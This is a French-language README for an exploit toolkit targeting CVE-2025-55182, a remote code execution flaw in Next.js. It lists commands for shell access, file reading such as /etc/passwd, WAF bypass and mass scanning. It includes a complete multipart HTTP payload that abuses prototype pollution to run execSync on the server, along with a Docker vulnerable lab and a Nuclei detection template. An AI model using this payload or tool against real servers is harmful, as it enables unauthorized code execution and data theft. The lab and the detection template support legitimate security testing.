🐺 React2Shell-Exploit-Kensei

CVE-2025-55182 - Next.js RCE Exécution de code à distance

Framework d'exploitation + laboratoire vulnérable + validation Burp Suite & Nuclei.

Framework d'exploitation complet et environnement de laboratoire vulnérable pour la recherche en sécurité et les tests d'intrusion.

╔═══════════════════════════════════════════════════════════════╗
║              🐺 React2Shell-Exploit-Kensei 🐺                 ║
║              CVE-2025-55182 Exploitation Tool                 ║
║                                                               ║
║  Author: Ruben Suxo - Ethical Hacker (kensei)    v2.5.0      ║
╚═══════════════════════════════════════════════════════════════╝

🎯 Vue d'ensemble

React2Shell-Exploit-Kensei est une boîte à outils complète pour exploiter CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans les applications Next.js.

Elle comprend :

• 🐍 Exploit Python (modes automatisé et manuel)
• 🐳 Laboratoire vulnérable Docker (Next.js 16.0.6)
• 🔥 Modèles d'exploitation Burp Suite
• 🚨 Modèle de détection Nuclei
• 🧪 Cas de test validés

Versions affectées :

• Next.js < 16.0.7
• React 19.0.0

Score CVSS : 10.0 (Critique)

✨ Fonctionnalités

🔨 Exploitation

✅ Exploitation automatisée ✅ Shell interactif ✅ Exécution de commandes ✅ Lecture de fichiers ✅ Contournement WAF ✅ Analyse par lots

🧪 Laboratoire — Installation Docker - Prérequis

Vous devez avoir Docker installé pour exécuter le laboratoire vulnérable.

Vérifier l'installation :

docker --version

📖 Documentation

✅ Guide Burp Suite ✅ Modèle Nuclei ✅ Exemples complets

🚀 Démarrage rapide

# 1. Clone
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py

# 2. Start Lab
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab

# 3. Exploit
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"

💻 Exemples d'utilisation

Scan

python3 react2shell-exploit.py --url http://target.com --scan

Exécuter une commande

python3 react2shell-exploit.py --url http://target.com --cmd "id"

Shell interactif

python3 react2shell-exploit.py --url http://target.com --shell

Lire un fichier

python3 react2shell-exploit.py --url http://target.com --read /etc/passwd

Contournement WAF

python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass

Analyse par lots

python3 react2shell-exploit.py --list targets.txt --scan --threads 20

🔍 Exploitation manuelle

Burp Suite

Vérifié fonctionnel — Modèle de requête :

POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Réponse attendue :

"children":["__PAGE__?{\"out\":\"root\"}",{}]

Test manuel de WHOAMI :

Test manuel d'IFCONFIG :

Méthodes alternatives de détection automatisée :

• ✅ Extension Extensibility Helper :
  1. Allez dans Extensions :
  2. Installez « Extensibility Helper » et ouvrez-la

3. Allez dans « Bambda Store »
4. Cherchez « CVE-2025-55182,CVE-2025-66478 - React2Shell »

5. Cliquez sur « import »

6. Lancez une « Audit Selected Items »

7. Validez dans l'onglet Custom que « CVE-2025-55182,CVE-2025-66478 - React2Shell » est coché

• ✅ ActiveScan++ : Détection automatisée

Nuclei

Vérifié fonctionnel :

nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml

Sortie :

[CVE-2025-55182] [http] [critical] http://target.com:3002/

🐺 Crédits

Auteur : Ruben Suxo - Ethical Hacker (kensei) Version : 2.5.0 Date : 2025-12-06

Recherche et inspiration

Ce projet s'appuie sur la recherche et les techniques de :

• assetnote/react2shell-scanner - Implémentation du scanner
• freeqaz/react2shell - Techniques d'exploitation
• whiteov3rflow/CVE-2025-55182-poc - Preuve de concept

Découverte de la vulnérabilité

• Lachlan Davidson (@lachlan2k) - Découverte originale de CVE-2025-55182

⚠️ Avertissement légal

Pour des tests de sécurité autorisés uniquement.

L'accès non autorisé est illégal. Utilisez ceci uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.

📄 Licence

Licence MIT

🐺 Hack The Planet - De manière responsable

À des fins éducatives uniquement. Utilisez éthiquement.